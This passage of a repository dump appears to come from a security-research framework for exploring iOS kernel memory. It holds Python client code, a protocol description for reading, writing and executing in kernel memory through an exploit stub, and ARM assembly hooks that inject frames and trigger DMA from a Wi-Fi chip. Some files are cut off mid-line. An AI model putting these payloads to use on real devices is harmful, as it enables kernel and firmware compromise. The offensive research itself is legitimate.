the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright [yyyy] [name of copyright owner] 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. 203 | -------------------------------------------------------------------------------- /MemClient.py: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | import socket, struct 20 | from defs import * 21 | from symbols import * 22 | 23 | #The mask used to prevent values in the buffers from appearing like infoleaks 24 | #when analysing the memory-mapped IO-Space. This isn't strictly necessary, but 25 | #it makes the analysis easier. 26 | OBF_MASK = 0xFFFFFFFFFFFFFFFF 27 | 28 | #The size of the read chunk when reading large chunks of memory 29 | READ_CHUNK_SIZE = 0x1000 30 | 31 | #The offset of the PID in the proc entry 32 | PROC_PID_OFFSET = 16 33 | 34 | #The offset of the next field in the proc entry 35 | PROC_NEXT_ENTRY_OFFSET = 168 36 | 37 | #The offset of the next field in the task entry 38 | TASK_NEXT_ENTRY_OFFSET = 40 39 | 40 | def qword_at(buf, idx): 41 | """ 42 | Reads the QWORD at the given index in the block of data provided 43 | """ 44 | 45 | return struct.unpack(" 0: 87 | chunk = self.sock.recv(min(READ_CHUNK_SIZE, bytes_left)) 88 | buf += chunk 89 | bytes_left -= len(chunk) 90 | 91 | #Deobfuscating the block 92 | buf = ''.join(map(lambda x: chr(ord(x) ^ 0xFF), buf) ) 93 | 94 | return buf 95 | 96 | def read128(self, addr): 97 | """ 98 | Reads the 128-bit value at the given address. 99 | Returns a tuple of (high-64bits, low-64bits) 100 | """ 101 | 102 | self.sock.send("r" + struct.pack(" 5 | 6 | Copyright 2017 Google Inc. All Rights Reserved. 7 | 8 | Licensed under the Apache License, Version 2.0 (the "License"); 9 | you may not use this file except in compliance with the License. 10 | You may obtain a copy of the License at 11 | 12 | http://www.apache.org/licenses/LICENSE-2.0 13 | 14 | Unless required by applicable law or agreed to in writing, software 15 | distributed under the License is distributed on an "AS IS" BASIS, 16 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 17 | See the License for the specific language governing permissions and 18 | limitations under the License. 19 | 20 | #### Disclaimer 21 | 22 | This is not an official Google product. 23 | 24 | #### Usage 25 | 26 | Legilimency is a memory exploration framework allowing navigation of the kernel's 27 | data structures from a python scripting environment. It connects to a server on 28 | the target device implementing the Legilimency protocol (see "Protocol"), and 29 | issues subsequent memory access requests to the resident stub on the device. 30 | 31 | To use Legilimency, run an exploit stub on the target implementing the server 32 | protocol, then connect to the target using: 33 | 34 | `python memshell.py ` 35 | 36 | Note that the provided implementation in memshell.py is left empty. After connecting to 37 | the client you may fill in the code under "memshell.py" to utilise the provided classes 38 | and explore the kernel's memory. 39 | 40 | #### Protocol 41 | 42 | Legilimency uses a basic binary protocol to communicate with the server stub. All 43 | data types used are encoded in little-endian byte order. The protocol after a successful 44 | TCP connection is made to the server. Subsequently, the server sends a QWORD containing 45 | the kernel's KASLR slide. 46 | 47 | After the connection is made, the client may issue requests to the server. Each request is 48 | prefixed by a single byte representing the command code, followed by the request's contents. 49 | 50 | The following commands are supported: 51 | 52 | - Read Command - Command Code 'r': 53 | 54 | Reads a single 128-bit value from the kernel's virtual address space. 55 | 56 | All arguments and return values are XORed with a mask of 0xFF bytes. 57 | 58 | Client Request : 'r' || <64-bit Kernel VA> 59 | Server Response: <128-bit Obfuscated Data> 60 | 61 | 62 | - Read Chunk Command - Command Code 'c': 63 | 64 | Reads a chunk of contiguous data from the kernel's virtual address space. 65 | 66 | All arguments and return values are XORed with a mask of 0xFF bytes. 67 | 68 | Client Request : 'c' || <64-bit Kernel VA> || <64-bit unsigned size> 69 | Server Response: 70 | 71 | - Write Command - Command Code 'w': 72 | 73 | Writes a single 64-bit value to the kernel's virtual address space. 74 | 75 | All arguments are XORed with a mask of 0xFF bytes. 76 | 77 | Client Request : 'w' || <64-bit Kernel VA> || <64-bit value> 78 | Server Response: <64-bit 0> 79 | 80 | - Execute Command - Command Code 'x': 81 | 82 | Executes a given function in the kernel's virtual address space, taking two arguments. 83 | 84 | All arguments are XORed with a mask of 0xFF bytes. 85 | 86 | Client Request : 'x' || <64-bit Kernel Function VA> || <64-bit arg1> || <64-bit arg2> 87 | Server Response: <64-bit 0> 88 | 89 | - Data Race Command - Command Code 'f': 90 | 91 | Executes a data race by writing the given 64-bit value to the given kernel virtual address, 92 | then immediately writing the original value back to that address. 93 | 94 | All arguments are XORed with a mask of 0xFF bytes. 95 | 96 | Client Request : 'f' || <64-bit Kernel Function VA> || <64-bit value> 97 | Server Response: <64-bit 0> 98 | 99 | -------------------------------------------------------------------------------- /TranslationTable.py: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | from MemClient import MemClient, qword_at 20 | from defs import * 21 | from symbols import * 22 | import struct 23 | 24 | #The number of translation table entries per level 25 | NUM_ENTRIES_PER_LEVEL = [2, 2048, 2048] 26 | 27 | #The span of each translation table entry per level 28 | ENTRY_SPAN_PER_LEVEL = [1<<36, 1<<25, 1<<14] 29 | 30 | #Translation between APTable values to the string respresenting their content 31 | AP_TABLE_TO_STRING = ["No effect on permission lookup", 32 | "EL0: No access, EL1: No effect", 33 | "EL0: No access, EL1: No access", 34 | "EL0: No access, EL1: no write "] 35 | 36 | #The virtual base address of the kernel (TTBR1) 37 | KERNEL_VIRT_BASE = 0xFFFFFFE000000000 38 | 39 | #The offset of the map field in the task_t structure 40 | MAP_OFFSET = 32 41 | 42 | #The offset of the pmap field in the map structure 43 | PMAP_OFFSET = 72 44 | 45 | #The mask used to retrieve the descriptor type 46 | DESC_TYPE_MASK = 0b11 47 | 48 | #The types of descriptors 49 | L3_PAGE_DESC_TYPE = 0b11 50 | TABLE_DESC_TYPE = 0b11 51 | BLOCK_DESC_TYPE = 0b01 52 | 53 | #L3 Page descriptor shifts and masks 54 | L3_PAGE_DESC_AP_SHIFT = 6 55 | L3_PAGE_DESC_AP_MASK = 0b11 56 | 57 | L3_PAGE_DESC_PA_SHIFT = 0 58 | L3_PAGE_DESC_PA_MASK = 0xFFFFFFFFC000 59 | 60 | L3_PAGE_DESC_UXN_SHIFT = 54 61 | L3_PAGE_DESC_UXN_MASK = 0b1 62 | 63 | L3_PAGE_DESC_PXN_SHIFT = 53 64 | L3_PAGE_DESC_PXN_MASK = 0b1 65 | 66 | #Block descriptor shifts and masks 67 | BLOCK_DESC_AP_SHIFT = 6 68 | BLOCK_DESC_AP_MASK = 0b11 69 | 70 | BLOCK_DESC_PA_SHIFT = 0 71 | BLOCK_DESC_PA_MASK = 0xFFFFFE000000 72 | 73 | BLOCK_DESC_UXN_SHIFT = 54 74 | BLOCK_DESC_UXN_MASK = 0b1 75 | 76 | BLOCK_DESC_PXN_SHIFT = 53 77 | BLOCK_DESC_PXN_MASK = 0b1 78 | 79 | #Table descriptor shifts and masks 80 | TABLE_DESC_APTABLE_SHIFT = 61 81 | TABLE_DESC_APTABLE_MASK = 0b11 82 | 83 | TABLE_DESC_PA_SHIFT = 0 84 | TABLE_DESC_PA_MASK = 0xFFFFFFFFC000 85 | 86 | TABLE_DESC_UXNTABLE_SHIFT = 60 87 | TABLE_DESC_UXNTABLE_MASK = 0b1 88 | 89 | TABLE_DESC_PXNTABLE_SHIFT = 59 90 | TABLE_DESC_PXNTABLE_MASK = 0b1 91 | 92 | TABLE_DESC_NSTABLE_SHIFT = 63 93 | TABLE_DESC_NSTABLE_MASK = 0b1 94 | 95 | #L3 descriptor offset and mask table 96 | L3_PAGE_DESC_OFFSETS = {'ap' : (L3_PAGE_DESC_AP_SHIFT, L3_PAGE_DESC_AP_MASK), 97 | 'pa' : (L3_PAGE_DESC_PA_SHIFT, L3_PAGE_DESC_PA_MASK), 98 | 'uxn' : (L3_PAGE_DESC_UXN_SHIFT, L3_PAGE_DESC_UXN_MASK), 99 | 'pxn' : (L3_PAGE_DESC_PXN_SHIFT, L3_PAGE_DESC_PXN_MASK)} 100 | 101 | #Block descriptor offset and mask table 102 | BLOCK_DESC_OFFSETS = {'ap' : (BLOCK_DESC_AP_SHIFT, BLOCK_DESC_AP_MASK), 103 | 'pa' : (BLOCK_DESC_PA_SHIFT, BLOCK_DESC_PA_MASK), 104 | 'uxn' : (BLOCK_DESC_UXN_SHIFT, BLOCK_DESC_UXN_MASK), 105 | 'pxn' : (BLOCK_DESC_PXN_SHIFT, BLOCK_DESC_PXN_MASK)} 106 | 107 | #Table descriptor offset and mask table 108 | TABLE_DESC_OFFSETS = {'aptable' : (TABLE_DESC_APTABLE_SHIFT, TABLE_DESC_APTABLE_MASK), 109 | 'pa' : (TABLE_DESC_PA_SHIFT, TABLE_DESC_PA_MASK), 110 | 'uxntable' : (TABLE_DESC_UXNTABLE_SHIFT, TABLE_DESC_UXNTABLE_MASK), 111 | 'pxntable' : (TABLE_DESC_PXNTABLE_SHIFT, TABLE_DESC_PXNTABLE_MASK), 112 | 'nstable' : (TABLE_DESC_NSTABLE_SHIFT, TABLE_DESC_NSTABLE_MASK)} 113 | 114 | class TranslationTable(object): 115 | """ 116 | An ARMv8 translation table, as the one used by the kernel to manage 117 | the VA->PA mappings in TTBR1. 118 | """ 119 | 120 | def __init__(self, client, table_base, verbose=False): 121 | """ 122 | Creates a new TranslationTable governing over the given table. 123 | """ 124 | self.client = client 125 | self.table_base = table_base 126 | elf.translations = [] 127 | self.verbose = verbose 128 | self.parse_translation_table(self.table_base, 1, KERNEL_VIRT_BASE) 129 | 130 | def is_desc_type(self, desc, desc_type): 131 | """ 132 | Returns True iff the given descriptor is an L3 page descriptor 133 | """ 134 | 135 | return (desc & DESC_TYPE_MASK) == desc_type 136 | 137 | def get_field(self, desc, shift, mask): 138 | """ 139 | Returns the field in the given descriptor contained under the given shift and mask 140 | """ 141 | 142 | return (desc >> shift) & mask 143 | 144 | def parse_translation_table(self, table_virt, level, va_base): 145 | """ 146 | Parses the given level of the translation table. Adds any relevant mappings 147 | to the translation tables mapping. 148 | """ 149 | 150 | #Fetching the parameters for this translation level 151 | entry_span = ENTRY_SPAN_PER_LEVEL[level - 1] 152 | num_entries = NUM_ENTRIES_PER_LEVEL[level - 1] 153 | 154 | #Reading all the descriptors in the table in advance - this is a little faster 155 | #than iteratively reading 156 | descs = [] 157 | table_data = self.client.read(table_virt, num_entries * QWORD_SIZE) 158 | descs = [qword_at(table_data, i) for i in range(0, num_entries)] 159 | 160 | #Handling the case where there's an odd number of entries. I don't think 161 | #the VMSA supports this, but better safe than sorry 162 | if num_entries % 2 != 0: 163 | descs.append(self.client.read64(table_virt + num_entries - 1)) 164 | 165 | #Dumping each descriptor in the table 166 | for i in range(0, num_entries): 167 | 168 | #Reading the descriptor and calculating its VA bounds 169 | desc = descs[i] 170 | va_start = va_base + i * entry_span 171 | va_end = va_start + entry_span - 1 172 | 173 | #Is this an L3 table? 174 | if level == 3: 175 | 176 | #Is this a page descriptor? 177 | if self.is_desc_type(desc, L3_PAGE_DESC_TYPE): 178 | pa_start = self.get_field(desc, *L3_PAGE_DESC_OFFSETS['pa']) 179 | pa_end = pa_start + entry_span - 1 180 | ap_2_1 = self.get_field(desc, *L3_PAGE_DESC_OFFSETS['ap']) 181 | uxn = self.get_field(desc, *L3_PAGE_DESC_OFFSETS['uxn']) 182 | pxn = self.get_field(desc, *L3_PAGE_DESC_OFFSETS['pxn']) 183 | if self.verbose: 184 | print (level * " ") + "[%016X-%016X] -> [%016X-%016X]" % (va_start, va_end, pa_start, pa_end) 185 | print (level * " ") + "" % (bin(ap_2_1), uxn, pxn) 186 | self.translations.append((va_start, va_end, pa_start, pa_end)) 187 | 188 | else: 189 | #Is this a block descriptor? 190 | if self.is_desc_type(desc, BLOCK_DESC_TYPE): 191 | pa_start = self.get_field(desc, *BLOCK_DESC_OFFSETS['pa']) 192 | pa_end = pa_start + entry_span - 1 193 | ap_2_1 = self.get_field(desc, *BLOCK_DESC_OFFSETS['ap']) 194 | uxn = self.get_field(desc, *BLOCK_DESC_OFFSETS['uxn']) 195 | pxn = self.get_field(desc, *BLOCK_DESC_OFFSETS['pxn']) 196 | if self.verbose: 197 | print (level * " ") + "[%016X-%016X] -> [%016X-%016X]" % (va_start, va_end, pa_start, pa_end) 198 | print (level * " ") + "" % (bin(ap_2_1), uxn, pxn) 199 | self.translations.append((va_start, va_end, pa_start, pa_end)) 200 | 201 | #Is this a table descriptor? 202 | elif self.is_desc_type(desc, TABLE_DESC_TYPE): 203 | next_table_pa = self.get_field(desc, *TABLE_DESC_OFFSETS['pa']) 204 | next_table_va = self.client.phys_to_virt(next_table_pa) 205 | nstable = self.get_field(desc, *TABLE_DESC_OFFSETS['nstable']) 206 | aptable = self.get_field(desc, *TABLE_DESC_OFFSETS['aptable']) 207 | uxntable = self.get_field(desc, *TABLE_DESC_OFFSETS['uxntable']) 208 | pxntable = self.get_field(desc, *TABLE_DESC_OFFSETS['pxntable']) 209 | if self.verbose: 210 | print (level * " ") + "[%016X-%016X] : Table descriptor (phys: %016X, virt: %016X)" % (va_start, va_end, next_table_pa, next_table_va) 211 | print (level * " ") + "" % (nstable, bin(aptable), uxntable, pxntable) 212 | self.parse_translation_table(next_table_va, level + 1, va_start) 213 | 214 | def va_to_pa(self, va): 215 | """ 216 | Translates the given VA to a PA, if the mapping is present. Otherwise returns None. 217 | """ 218 | for (va_start, va_end, pa_start, pa_end) in self.translations: 219 | if va_start <= va <= va_end: 220 | return pa_start + (va - va_start) 221 | return None 222 | 223 | def pa_to_va(self, pa, find_all=False): 224 | """ 225 | Translates the given PA to a VA if a mapping exists. Otherwise returns None. 226 | If find_all is specified, returns a list of all matching VAs. 227 | """ 228 | 229 | results = [] 230 | for (va_start, va_end, pa_start, pa_end) in self.translations: 231 | if pa_start <= pa <= pa_end: 232 | va = va_start + (pa - pa_start) 233 | if not find_all: 234 | return va 235 | results.append(va) 236 | 237 | return results if (not find_all or len(results) == 0) else None 238 | 239 | @classmethod 240 | def get_kernel_translation_table(cls, client): 241 | """ 242 | Factory method that returns the kernel translation table 243 | """ 244 | 245 | kernel_task = client.get_kernel_task() 246 | pmap = client.read64(client.read64(client.read64(kernel_task + MAP_OFFSET) + PMAP_OFFSET)) 247 | return TranslationTable(client, pmap) 248 | -------------------------------------------------------------------------------- /code_chunks/delete_flow_ring/chunk.S: -------------------------------------------------------------------------------- 1 | // Legilimency - Memory Analysis Framework for iOS 2 | // -------------------------------------- 3 | // 4 | // Written and maintained by Gal Beniamini 5 | // 6 | // Copyright 2017 Google Inc. All Rights Reserved. 7 | // Licensed under the Apache License, Version 2.0 (the "License"); 8 | // you may not use this file except in compliance with the License. 9 | // You may obtain a copy of the License at 10 | // 11 | // http://www.apache.org/licenses/LICENSE-2.0 12 | // 13 | // Unless required by applicable law or agreed to in writing, software 14 | // distributed under the License is distributed on an "AS IS" BASIS, 15 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | // See the License for the specific language governing permissions and 17 | // limitations under the License. 18 | .code 16 19 | PUSH {R0} 20 | ADR R0, hook_arm 21 | BX R0 22 | 23 | .code 32 24 | .align 4 25 | hook_arm: 26 | POP {R0} 27 | 28 | PUSH {R4-R11, LR} 29 | 30 | //Restoring the original function pointer to prevent being called more than once 31 | LDR R0, wl_hc_addr 32 | LDR R1, wl_hc_orig_func 33 | STR R1, [R0] 34 | 35 | LDR R11, ctx //context 36 | 37 | //Sending a spoofed ring deletion request 38 | LDR R4, malloc 39 | MOV R0, #0x18 40 | BLX R4 41 | MOV R10, R0 //buffer 42 | 43 | LDR R4, memset 44 | MOV R0, R10 45 | MOV R1, #0 46 | MOV R2, #0x18 47 | BLX R4 48 | 49 | MOV R0, #6 50 | STRB R0, [R10, #0x0] //msg_type 51 | MOV R0, #6 52 | STRH R0, [R10, #0xA] //ring ID 53 | 54 | LDR R4, send_d2h_message 55 | MOV R0, R11 56 | MOV R1, R10 57 | BLX R4 58 | 59 | LDR R4, free 60 | MOV R0, R10 61 | BLX R4 62 | 63 | //Returning zero 64 | MOV R0, #0 65 | POP {R4-R11, PC} 66 | 67 | .align 4 68 | wl_hc_addr: 69 | .word 0x2078B0 70 | 71 | .align 4 72 | wl_hc_orig_func: 73 | .word 0x17FB55 74 | 75 | .align 4 76 | ctx: 77 | .word 0x201A70 78 | 79 | .align 4 80 | malloc: 81 | .word 0x2F0A5 82 | 83 | .align 4 84 | memset: 85 | .word 0x3EB5 86 | 87 | .align 4 88 | send_d2h_message: 89 | .word 0x150A5 90 | 91 | .align 4 92 | free: 93 | .word 0x2F0C9 94 | 95 | .align 4 96 | padding: 97 | .word 0xABABABAB 98 | .word 0xBCBCBCBC 99 | -------------------------------------------------------------------------------- /code_chunks/delete_flow_ring/compile.sh: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | BIN_PATH=/path/to/your/gcc-arm-none-eabi/bin 20 | $BIN_PATH/arm-none-eabi-as chunk.S -o chunk.o 21 | $BIN_PATH/arm-none-eabi-objcopy -O binary chunk.o chunk.bin 22 | $BIN_PATH/arm-none-eabi-objdump -D chunk.o 23 | -------------------------------------------------------------------------------- /code_chunks/dma_d2h/chunk.S: -------------------------------------------------------------------------------- 1 | // Legilimency - Memory Analysis Framework for iOS 2 | // -------------------------------------- 3 | // 4 | // Written and maintained by Gal Beniamini 5 | // 6 | // Copyright 2017 Google Inc. All Rights Reserved. 7 | // Licensed under the Apache License, Version 2.0 (the "License"); 8 | // you may not use this file except in compliance with the License. 9 | // You may obtain a copy of the License at 10 | // 11 | // http://www.apache.org/licenses/LICENSE-2.0 12 | // 13 | // Unless required by applicable law or agreed to in writing, software 14 | // distributed under the License is distributed on an "AS IS" BASIS, 15 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | // See the License for the specific language governing permissions and 17 | // limitations under the License. 18 | 19 | .code 16 20 | PUSH {R0} 21 | ADR R0, hook_arm 22 | BX R0 23 | 24 | .code 32 25 | .align 4 26 | hook_arm: 27 | POP {R0} 28 | 29 | PUSH {R4-R11, LR} 30 | 31 | //Restoring the original function pointer to prevent being called more than once 32 | LDR R0, wl_hc_addr 33 | LDR R1, wl_hc_orig_func 34 | STR R1, [R0] 35 | LDR R11, ctx 36 | 37 | //Getting the frame 38 | LDR R0, [R11, #4] 39 | LDR R1, dmalen //size 40 | LDR R4, get_frame_func 41 | BLX R4 42 | MOV R10, R0 43 | 44 | //Populating the frame 45 | LDR R0, [R10, #8] 46 | ADR R1, dma_contents 47 | LDR R2, dmalen 48 | LDR R4, memcpy 49 | BLX R4 50 | 51 | //Adding an RX descriptor 52 | LDR R0, pcidi_d2h 53 | LDR R1, hostaddr_lo 54 | LDR R2, hostaddr_hi 55 | LDR R3, dmalen 56 | LDR R4, dma_rxfast 57 | BLX R4 58 | 59 | //Quickly adding the corresponding TX descriptor 60 | LDR R0, pcidi_d2h 61 | MOV R1, R10 62 | MOV R2, #1 63 | LDR R4, dma64_txfast 64 | BLX R4 65 | 66 | //Returning zero 67 | MOV R0, #0 68 | POP {R4-R11, PC} 69 | 70 | .align 4 71 | wl_hc_addr: 72 | .word 0x2078B0 73 | 74 | .align 4 75 | wl_hc_orig_func: 76 | .word 0x17FB55 77 | 78 | .align 4 79 | pcidi_d2h: 80 | .word 0x1F6810 81 | 82 | .align 4 83 | dma_rxfast: 84 | .word 0x7CB0+1 85 | 86 | .align 4 87 | ctx: 88 | .word 0x2058BC 89 | 90 | .align 4 91 | get_frame_func: 92 | .word 0x70E0+1 93 | 94 | .align 4 95 | memcpy: 96 | .word 0x3DAC+1 97 | 98 | .align 4 99 | dma64_txfast: 100 | .word 0x16E5C0+1 101 | 102 | .align 4 103 | hostaddr_lo: 104 | .word 0xBEEF0202 105 | 106 | .align 4 107 | hostaddr_hi: 108 | .word 0xBEEF0303 109 | 110 | .align 4 111 | dmalen: 112 | .word 0xBEEF0101 113 | 114 | .align 4 115 | dma_contents: 116 | .space 128,0xAB 117 | 118 | -------------------------------------------------------------------------------- /code_chunks/dma_d2h/compile.sh: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | BIN_PATH=/path/to/your/gcc-arm-none-eabi/bin 20 | $BIN_PATH/arm-none-eabi-as chunk.S -o chunk.o 21 | $BIN_PATH/arm-none-eabi-objcopy -O binary chunk.o chunk.bin 22 | $BIN_PATH/arm-none-eabi-objdump -D chunk.o 23 | -------------------------------------------------------------------------------- /code_chunks/send_frame/chunk.S: -------------------------------------------------------------------------------- 1 | // Legilimency - Memory Analysis Framework for iOS 2 | // -------------------------------------- 3 | // 4 | // Written and maintained by Gal Beniamini 5 | // 6 | // Copyright 2017 Google Inc. All Rights Reserved. 7 | // Licensed under the Apache License, Version 2.0 (the "License"); 8 | // you may not use this file except in compliance with the License. 9 | // You may obtain a copy of the License at 10 | // 11 | // http://www.apache.org/licenses/LICENSE-2.0 12 | // 13 | // Unless required by applicable law or agreed to in writing, software 14 | // distributed under the License is distributed on an "AS IS" BASIS, 15 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | // See the License for the specific language governing permissions and 17 | // limitations under the License. 18 | 19 | .code 16 20 | PUSH {R0} 21 | ADR R0, hook_arm 22 | BX R0 23 | 24 | .code 32 25 | .align 4 26 | hook_arm: 27 | POP {R0} 28 | 29 | PUSH {R4-R11, LR} 30 | 31 | //Restoring the original function pointer to prevent being called more than once 32 | LDR R0, wl_hc_addr 33 | LDR R1, wl_hc_orig_func 34 | STR R1, [R0] 35 | LDR R11, ctx 36 | 37 | //Looping the wanted number of injection repetitions 38 | LDR R9, num_injections 39 | MOV R8, #0 40 | loop: 41 | CMP R8, R9 42 | BGE ret_zero 43 | 44 | //Getting the frame 45 | LDR R0, [R11, #4] 46 | LDR R1, frame_size 47 | LDR R4, get_frame_func 48 | BLX R4 49 | MOV R10, R0 50 | 51 | //Populating the frame 52 | LDR R0, [R10, #8] 53 | ADR R1, frame_contents 54 | LDR R2, frame_size 55 | LDR R4, memcpy 56 | BLX R4 57 | 58 | //Sending the frame 59 | LDR R0, [R11, #8] 60 | MOV R1, #0 61 | MOV R2, R10 62 | MOV R3, #1 63 | LDR R4, send_func 64 | BLX R4 65 | 66 | ADD R8, R8, #1 67 | B loop 68 | 69 | ret_zero: 70 | //Returning zero 71 | MOV R0, #0 72 | POP {R4-R11, PC} 73 | 74 | .align 4 75 | wl_hc_addr: 76 | .word 0x2078B0 77 | 78 | .align 4 79 | wl_hc_orig_func: 80 | .word 0x17FB55 81 | 82 | .align 4 83 | ctx: 84 | .word 0x2058BC 85 | 86 | .align 4 87 | get_frame_func: 88 | .word 0x70E0+1 89 | 90 | .align 4 91 | send_func: 92 | .word 0x3E678+1 93 | 94 | .align 4 95 | memcpy: 96 | .word 0x3DAC+1 97 | 98 | .align 4 99 | num_injections: 100 | .word 0xBEEFBEEF 101 | 102 | .align 4 103 | frame_size: 104 | .word 0xF12A515E 105 | 106 | .align 4 107 | frame_contents: 108 | .space 1024,0xAB 109 | -------------------------------------------------------------------------------- /code_chunks/send_frame/compile.sh: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # 